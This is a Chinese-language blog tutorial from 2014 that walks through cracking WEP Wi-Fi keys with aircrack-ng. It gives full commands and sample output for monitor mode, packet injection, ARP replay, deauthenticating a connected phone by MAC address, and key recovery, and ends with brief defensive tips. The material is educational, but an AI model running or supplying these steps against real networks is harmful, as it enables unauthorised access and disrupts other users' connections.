2014年1月11日 星期六

無線網路安全:20 分鐘內破解 WEP

先參考聲明

無線網路內的加密協定通常有三種 WEP, WPA, WP2。三種都可破解也有無法破解的情況,讓我們先來看看 WEP。

WEP 稱為 Wired Equivalent Privacy(有線等效加密)或者 Wireless Encryption Protocol(無線加密協定),是最早期的無線網路加密協定之一。WEP 相對來說是最容易被破解的,但是發生的前提是網路中有其他的合法使用者,如果一台基地台放在那裡設定為 WEP,但是卻沒有任何使用者,然後要求你去破解它,此時拿個榔頭把它敲碎磨成粉可能都快得多。

只要有一個以上的使用者,那攻擊者要破解 WEP 應該可以在 20 分鐘以內,如果使用者更多,速度會更快。同時這也牽涉到信號強度,如果信號很弱,不管是接收基地台的,或者是接受其他合法使用者的,那也都會減低破解的速度甚至是完成的可能性。

WEP 的金鑰分為 64 位元與 128 位元,通常讓使用者輸入的是 5 或 13 個字元,或者也有可能讓使用者輸入 10 或 26 個 16 進位的字元,總而言之,使用者輸入 40 位元或者 104 位元,另外基地台加上 24 位元初始向量資料,使其成為 64 位元或 128 位元的金鑰。
不要因為 WEP 的密碼或協定很弱就小看它,有些場合搭配舊款的機器,不得不使用 WEP 的情況也是有的。不過近來家用無線基地台大多預設使用 WPA 或 WPA2,一方面因為幾乎所有的使用者端軟硬體都已經支援 WPA/WPA2,另一方面是密碼長度沒有要求一定要是幾個字,WPA/WPA2 要求只要介在 8 到 63 的字元當中即可,對使用者來說相對方便。

破解 WEP 常用的工具是 aircrack-ng,它其實是一組工具包,裡面包含了滿多的程式組合。破解 WEP 需要用到的是 airmon-ng、aireplay-ng、airodump-ng 以及 aircrack-ng。

aircrack-ng 的官方網站與下載位址在這裡,支援 Linux 系統,也是我底下會使用的作業系統。

aircrack-ng 支援許多無線網卡,不過建議您找一個舊款的,通常新款的推出,Linux 的驅動程式都沒有跟得那麼快,您也可以確認一下您用的網卡驅動模組是什麼。如果您執行以下步驟發現網卡沒有被支援,使用 OSX (Mac) 的朋友或許可以參考這一篇文章,簡單來說 aircrack-ng 在 OSX 上被支援的程度較低,可能主要跟驅動程式和硬體有關。如果是使用 Windows,祝您好運!

如果您不想動您的系統太多,建議您可以用 virtual box 或 vm 安裝 backtrack 或 kali 的 live cd,簡單又乾淨,光碟退出後重開機,什麼都不留下,但是您只能使用 USB 的網卡

破解 WEP 的步驟如下。

第一步:前置作業

$ sudo airmon-ng check kill
這一步會關閉所有其他影響無線運作的程式,包括 network-manager、wpa_supplicant、dhclient,等等,所以執行完後可能就無法上網了。您可以接有線網路,然後自己手動設定有線網路的連線、網域解析,以及路由,我就是這麼做,同時實驗無線網路,同時上網查找資料,不要閒置電腦資源嘛。^_^

$ sudo airmon-ng start wlan0
假設您的網卡是 wlan0,如果不是請自行換成您的網卡名稱。
如果此步驟順利,會產生一個虛擬網卡 mon0,接下來我們都會用到它。

接下來我們要確定被攻擊的 AP(基地台)頻道 (channel)、ESSID,以及 BSSID
$ sudo airodump-ng mon0
可能看到的輸出如下:
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
11:22:33:44:55:66  -49       20        1    0  11  54   WEP  WEP         testing-ap

按 ctrl+c 跳出。

關鍵資訊為 BSSID、CH、以及 ESSID,您可以看到 ENC 欄位是 WEP,確認對方是跑 WEP 加密,另外看到 PWR(信號強度)是 -49,這個數值還不錯,越大越好,也就是越接近零越好,通常小於 -75 的信號就很難接收到了。總結我們得到以下被攻擊的 AP 資訊:
BSSID: 11:22:33:44:55:66
CH: 11
ESSID:  testing-ap

執行下一步,改變 mon0 的頻道,最簡單的作法是同樣運用 airodump-ng:
$ sudo airodump-ng -c 11 mon0

按 ctrl+c 跳出,這時候頻道應該已經被切換成 11 了,可以確認一下:
$ iwlist mon0 channel

如果沒有 iwlist,可以安裝:sudo apt-get install wireless-tools。
如果一切正常,會看到 iwlist 最後一行輸出如下,代表已經切到頻道 11:
Current Frequency:2.462 GHz (Channel 11)

如果頻道沒有切換過去,可能您的網卡不被 aircrack-ng 完整支援,試試看 iwconfig 能不能救你,執行指令如下:
$ sudo iwconfig mon0 channel 11

再用 iwlist 檢查看看,如果還是沒有,殘念...您可以考慮更新驅動程式或者換張網卡,換網卡的時間金錢成本通常較低。

繼續下去,做一些簡單的測試,看看是否可以偽造封包:
$ sudo aireplay-ng -9 -e testing-ap mon0

正常輸出應該如下:
10:25:11  Waiting for beacon frame (ESSID: testing-ap) on channel 11
Found BSSID "11:22:33:44:55:66" to given ESSID "testing-ap".
10:25:11  Trying broadcast probe requests...
10:25:11  Injection is working!
10:25:12  Found 1 AP

10:25:12  Trying directed probe requests...
10:25:12  11:22:33:44:55:66 - channel: 11 - 'testing-ap'
10:25:13  Ping (min/avg/max): 1.806ms/16.827ms/34.901ms Power: -49.07
10:25:13  30/30: 100%

看到 Injection is working 代表成功,下方的百分比原則上只要不是 0% 就可以。

第二步:抓取封包與建立連線

前置作業完成,重頭戲來了,執行以下指令去抓取封包:
$ sudo airodump-ng -c 11 --bssid 11:22:33:44:55:66 -w output_file_log mon0

output_file_log 是儲存的檔案名稱。

然後開另一個 terminal 執行以下指令與 AP 建立連線:
$ sudo aireplay-ng -1 0 -e testing-ap mon0

成功的話會看到如下輸出:
10:37:05  Sending Authentication Request (Open System) [ACK]
10:37:05  Authentication successful
10:37:05  Sending Association Request [ACK]
10:37:05  Association successful :-) (AID: 1)

如果建立連線後,之後又斷掉,可能需要不斷地 keep alive,這個時候可以改執行如下指令:
$ sudo aireplay-ng -1 6000 -o 1 -q 10 -e 'testing-ap' mon0

成功的話會看到如下輸出:
10:39:37  Sending Authentication Request (Open System) [ACK]
10:39:37  Authentication successful
10:39:37  Sending Association Request [ACK]
10:39:37  Association successful :-) (AID: 1)

10:39:47  Sending keep-alive packet [ACK]
10:39:57  Sending keep-alive packet [ACK]

這樣會讓程式每 6000 秒,也就是每 100 分鐘建立連線,然後每次只送出 1 組封包,每 10 秒送出 keep alive 封包。只有當 AP 會不穩定的丟掉你的連線時,你才需要執行這種指令,否則應該第一種已足夠。

如果失敗,你會看到類似如下畫面:
18:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

看到接收到拒絕連線的封包,並且接下來的不斷自動重複嘗試,代表無法建立正常連線,請使用 keep alive 的那種參數,並且適時的調整數值看看。如果還不行,代表該 AP 可能有鎖網卡硬體位址或其他原因。

攻擊者此時還是可以用 airodump-ng 抓取該 AP 的封包,把合法使用者的硬體位址抓下來,並且改自己的網卡位址重新嘗試。在本篇下方有取得其他使用者硬體位址的方法。

第三步:抓取合法使用者的 ARP 要求,並且仿造重送

執行以下指令來達成:
$ sudo aireplay-ng -3 -e 'testing-ap' mon0

順利的話會看到以下資訊:
Saving ARP requests in replay_arp-0111-105634.cap
You should also start airodump-ng to capture replies.
Read 43 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

原則上只要有合法使用者重新連線,就會送出 ARP 要求,然後 aireplay 就會抓取並且偽造重送,然後你就開始皆收到許多 ARP ACKs 了。

如果一直沒有人重新連線,攻擊者可以讓已經連線的合法使用者斷線,當他們自動重連的時候,你就會收到 ARP 請求了。但是這樣做會比較不隱密,因為會有人經驗到忽然斷線重連的感覺,雖然現在消費者電子產品都會盡可能讓這個過程很順暢,但是還是可能會有人感受到些許的異狀。

首先要取得合法使用者的硬體位址資訊,從 airodump-ng 就可以知道,例如你看到畫面如下:
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 11:22:33:44:55:66  -49       20        1    0  11  54   WEP  WEP         testing-ap

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 11:22:33:44:55:66  B8:FF:61:44:55:66  -37   54e-18      0       10

代表有一個使用者,其硬體位址為 B8:FF:61:44:55:66,看到 B8:FF:61 開頭就知道這是 Apple 的手機,要使其斷線,執行以下指令:

$ sudo aireplay-ng -0 5 -e testing-ap -c B8:FF:61:44:55:66 mon0

5 代表送出 5 次強制斷線封包,有些時候只送一兩次會被散在雜訊裡,所以送個 5 次滿好的,如果成功會看到如下資訊:
11:32:56  Sending 64 directed DeAuth. STMAC: [B8:FF:61:44:55:66] [ 0|56 ACKs]
11:32:57  Sending 64 directed DeAuth. STMAC: [B8:FF:61:44:55:66] [ 0|51 ACKs]
11:32:57  Sending 64 directed DeAuth. STMAC: [B8:FF:61:44:55:66] [ 0|57 ACKs]
11:32:58  Sending 64 directed DeAuth. STMAC: [B8:FF:61:44:55:66] [ 0|57 ACKs]
11:32:59  Sending 64 directed DeAuth. STMAC: [B8:FF:61:44:55:66] [ 4|57 ACKs]

通常有回應 ACKs 就代表有成功了,上方第五次有回應了 4 個 ACK,這個時候如果 aireplay-ng -3 有在跑,速度應該就起來了。

第四步:解密

回到 aireplay-ng -3 的那個 terminal 去看,大約需要 85000 左右個 ACKs,達成後就可以回到 airodump-ng 的那個 terminal,把他中止掉,透過 aircrack-ng 去解密抓下來的 cap 封包檔案,檔案會有好幾個,找 cap 副檔名就可以。假設檔案叫做 output_file_log-01.cap,執行:
$ aircrack-ng -e 'testing-ap' output_file_log-01.cap

你就會得到 WEP 的金鑰,至此,破解成功。

防範方式

  • 最簡單的就是,不要使用 WEP。
  • 如果非要使用不可,建議隱藏 ESSID、或者鎖 MAC address。但是即便如此,還是有辦法破解。隱藏 ESSID 可以從 client 端下手,MAC address 可以監聽到又可以修改。
  • 有個人或者程式隨時監控是否有 ARP request 風暴。但是只能事後發現,無法事前預防,而且我想不會有人整天沒事做就是一直在檢查無線網路。

以上,祝實驗順利。

2 則留言:

  1. 作者已經移除這則留言。

    回覆刪除
  2. 這套指令是屬於哪個作業系統的? Windows7嗎? (cmd)

    回覆刪除